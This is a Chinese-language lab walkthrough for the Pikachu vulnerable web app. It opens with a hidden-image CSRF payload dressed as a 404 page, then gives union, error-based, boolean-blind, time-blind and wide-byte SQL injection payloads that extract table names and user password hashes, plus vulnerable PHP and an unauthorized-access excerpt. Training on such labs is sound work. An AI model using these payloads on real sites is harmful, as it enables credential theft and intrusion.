<imgsrc="http://192.168.132.200:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=test&phonenum=123456789&add=test&email=test&submit=submit"border="0"style="display:none;"> <h1>404</h1> <h2>file not found.</h2>
# users表 id=0unionselect1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' //该表下有字段id,username,password,level
# SQL语句如下 mysql>select username,email frommemberwhere id=0unionselect1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'; +----------+----------------------------+ | username | email | +----------+----------------------------+ |1| id,username,password,level | +----------+----------------------------+
查询内容
1 2 3 4 5 6 7 8 9 10
# users表下的username，password字段内容 id=0unionselect group_concat(username),group_concat(password) from users
# 查询表名 ?name=1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查询字段名 ?name=1') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23
# 查询字段内容 ?name=1') union select group_concat(username),group_concat(password) from users%23
inster注入
防御方式
该级别对SQL注入无任何防护
1
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
# 返回注册成功,该处存在SQL注入 # SQL语句如下 insert into member(username,pw,sex,phonenum,email,address) values('test','123','','','','');
猜数据库名
1 2 3 4 5
username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
# SQL语句如下 mysql> insert into member(username,pw,sex,phonenum,email,address) values('a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','','','',''); ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'
猜数据表名
1 2
# 使用group_concat()时因数据过长所以显示不完全 username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or'
1 2
# 使用limit限制查询数量，每次查询一条结果 username=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or'
猜字段名
1
username=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) or'
猜字段内容
1 2 3 4 5
# 查询用户名 username=a' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) or'
# 查询密码 username=a' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) or'
1 2
# 查询密码时最后一位显示不完全，可能是因为长度太长,将~替换为.就可以显示出来 username=a' and updatexml(1,concat('.',(select password from users limit 0,1)),1) or'
# update注入 $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
update 表名 set sex=数据1,phonenum=数据2,add=数据3,email=数据4where username=用户名
猜一系列信息(与Insert一样)
1 2 3 4 5 6
# 猜数据库 sex=nan' or updatexml(1,concat('~',(select database()),'~'),1) or'
# 猜字段信息 sex=' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),1) or ' sex=' or updatexml(1,concat('~',(select password from users limit 1,1),'~'),1) or '
delete注入
防御方式
该级别对SQL注入无任何防护
1
$query="delete from message where id={$_GET['id']}";
漏洞利用
使用BurpSuite抓包后可以看时提交的输入如下
1 2
# 通过GET方式提交 id=62
可以推算出删除留言时大概的SQL语句如下：
1
deletefrom 表名 where id=xx
与insert注入类似，同样使用到updatexml()方法
猜数据库名
1 2 3 4 5
?id=66 and updatexml(1,concat('~',(select database()),'~'),1)
# SQL语句如下 mysql> delete from message where id=66 and updatexml(1,concat('~',(select database()),'~'),1); ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'
猜字段内容
1
?id=66 and updatexml(1,concat('~',(select username from users limit 0,1),'~'),1)
?name=lili' and (select count(table_name) from information_schema.tables where table_schema=database())>=6%23 ?name=lili'and (selectcount(table_name) from information_schema.tables where table_schema=database())>=5%23
# SQL语句如下 mysql>select id,email frommemberwhere username='lili'and (selectcount(table_name) from information_schema.tables where table_schema=database())>=6; Emptyset (0.00 sec)
mysql>select id,email frommemberwhere username='lili'and (selectcount(table_name) from information_schema.tables where table_schema=database())>=5; +----+------------------+ | id | email | +----+------------------+ |7| lili@pikachu.com | +----+------------------+
猜数据表名长度
猜第一张数据表表名长度为9时回显异常，为8时回显正常，得出第一张数据表的表名长度为8
1 2
?name=lili' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=9%23 ?name=lili'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=8%23
猜数据表名
猜第一张表表名的第一个字符的Ascii码大于等于103时回显异常，大于等于104时回显正常，得出第一张表表名的第一个字符Ascii码为104，转为字符串为h，按照顺序猜出余下的表名（httpinfo | member | message | users | xssblind）
1 2 3 4 5 6 7 8
# 猜第一张表表名的第一个字符串 ?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=105%23 ?name=lili'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=104%23
# 猜第一张表表名的第二个字符串 ?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>=116%23
1 2 3 4 5
# 猜第二张表表名的第一个字符串 ?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>=109%23 # 猜第二张表表名的第二个字符串 ?name=lili'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>=101%23
?name=lili' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=5%23 ?name=lili'and (selectcount(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=4%23
# SQL语句如下 mysql>select id,email frommemberwhere username='lili'and (selectcount(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=5; Emptyset (0.01 sec)
mysql>select id,email frommemberwhere username='lili'and (selectcount(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=4; +----+------------------+ | id | email | +----+------------------+ |7| lili@pikachu.com | +----+------------------+
?name=lili' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>=2%23 ?name=lili'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>=2%23
猜字段名
猜users表下的第一个字段的第一个字符的ascii码为106时回显异常，为105时回显正常，得出第一个字段的第一个字符ascii码为105，转为字符串为 i ，按顺序将其他字段名猜出即可 (id | username | password |level)
1 2
?name=lili' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=106%23 ?name=lili'and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=105%23
?name=allen' and if(ascii(substr(database(),1,1))>=112,sleep(2),1)%23 # 第一位112 ?name=allen' and if(ascii(substr(database(),2,1))>=105,sleep(2),1)%23 # 第二位105
// 按顺序猜出7位数的数据库名，得到库名为pikachu
猜数据表
1 2 3 4 5 6 7 8 9 10 11 12
# 猜数据表个数 ?name=allen' and if((select count(table_name) from information_schema.tables where table_schema=database())>=5,sleep(2),1)%23 // 得出该数据库的数据表的个数为5个
# 猜表名长度 ?name=allen' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=8,sleep(2),1)%23 # 第一张表表名长度为8 ?name=allen' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=6,sleep(2),1)%23 # 第二张表表名长度为6 // 按顺序将所有表的表名长度猜出来 (8|6|7|5|8)
# 猜表名 ?name=allen' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=104,sleep(2),1)%23 // 通过修改limit、substr值来限制查询位置与个数，按顺序猜出每个表的表名(httpinfo|member|message|users|xssblind)
猜字段
1 2 3 4 5 6 7 8 9 10 11
# 猜字段个数 ?name=allen' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>=4,sleep(2),1)%23 // 按顺序猜出所有表的字段个数(6|7|3|4|4)
# 猜字段名长度 ?name=allen' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>=2,sleep(2),1)%23 // 按顺序猜出所有表的所有字段名长度 (users: 2|8|8|5)
# 猜字段名 ?name=allen' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>104,sleep(2),1)%23 // 按顺序猜出所有表的所有字段名 (users: id|username|password|level)
猜内容
1 2 3 4 5 6 7 8 9 10 11
# 猜内容个数 ?name=allen' and if((select count(id) from users)>=3,sleep(2),1)%23 // 按顺序猜出所有数据表所有字段的内容个数
# 猜内容长度 ?name=allen' and if(length((select username from users limit 0,1))>=5,sleep(2),1)%23 // 按顺序猜出所有数据表的所有所有字段内容的长度
# 猜字段内容 ?name=allen' and if(ascii(substr((select username from users limit 0,1),1,1))>=97,sleep(2),1)%23 // 按顺序猜出所有字段的内容
宽字节注入
当后端对用户输入做了转义时，如将'转义成\'时，这使得'无法进行闭合数据库中的语句
防御方式
该级别对SQL注入无任何防护
1 2 3 4 5
$name = escape($link,$_POST['name']); $query="select id,email from member where username='$name'";//这里的变量是字符型，需要考虑闭合 //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题 $set = "set character_set_client=gbk"; execute($link,$set);
漏洞利用
测试注入
1 2 3 4 5
name=1%df' or 1=1# name=1%df' order by 2# # 正常 name=1%df' order by 3# # 异常
// 该页面存在宽字节注入，且闭合符号为' ，字段数为2
猜数据库名
1 2
name=1%df' union select database(),2# //得到数据库名为pikachu
猜表名
1 2
name=1%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2# //修改limit得到表名 httpinfo,member,message,users,xssblind
猜字段
1 2
name=1%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2# //修改limit得到users表下字段有 id,username,password,level
猜内容
1 2 3
name=1%df' union select (select group_concat(username) from users),(select group_concat(password) from users)# // admin,pikachu,test // e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03
Over Permission (越权漏洞)，如过使用用户A的权限去操作用户B的权限，A的权限小于B，如过执行成功则称之为越权操作。越权漏洞形成是因为后台使用了不合理的权限校验导致的。一般越权漏洞容易出现在权限页面（需要登录的页面）增、删、改、查的的地方，当用户对权限页面内的信息进行这些操作时，后台需要对当前用户的权限进行校验，看其是否具备操作的权限，从而给出响应，而如果校验的规则过于简单则容易出现越权漏 。
水平越权
漏洞介绍
用户A与用户B属于同一级别用户，当用户A越权操作了用户B的个人信息时，就称之为水平越权
防御方式
该页面对越权漏洞无任何防护
1 2 3 4 5 6 7 8 9 10 11 12
if(isset($_GET['submit']) && $_GET['username']!=null){ //没有使用session来校验,而是使用的传进来的值，权限校验出现问题,这里应该跟登录态关系进行绑定 $username=escape($link, $_GET['username']); $query="select * from member where username='$username'"; $result=execute($link, $query); if(mysqli_num_rows($result)==1){ $data=mysqli_fetch_assoc($result); $uname=$data['username']; $sex=$data['sex']; $phonenum=$data['phonenum']; $add=$data['address']; $email=$data['email'];
wechat
alipay
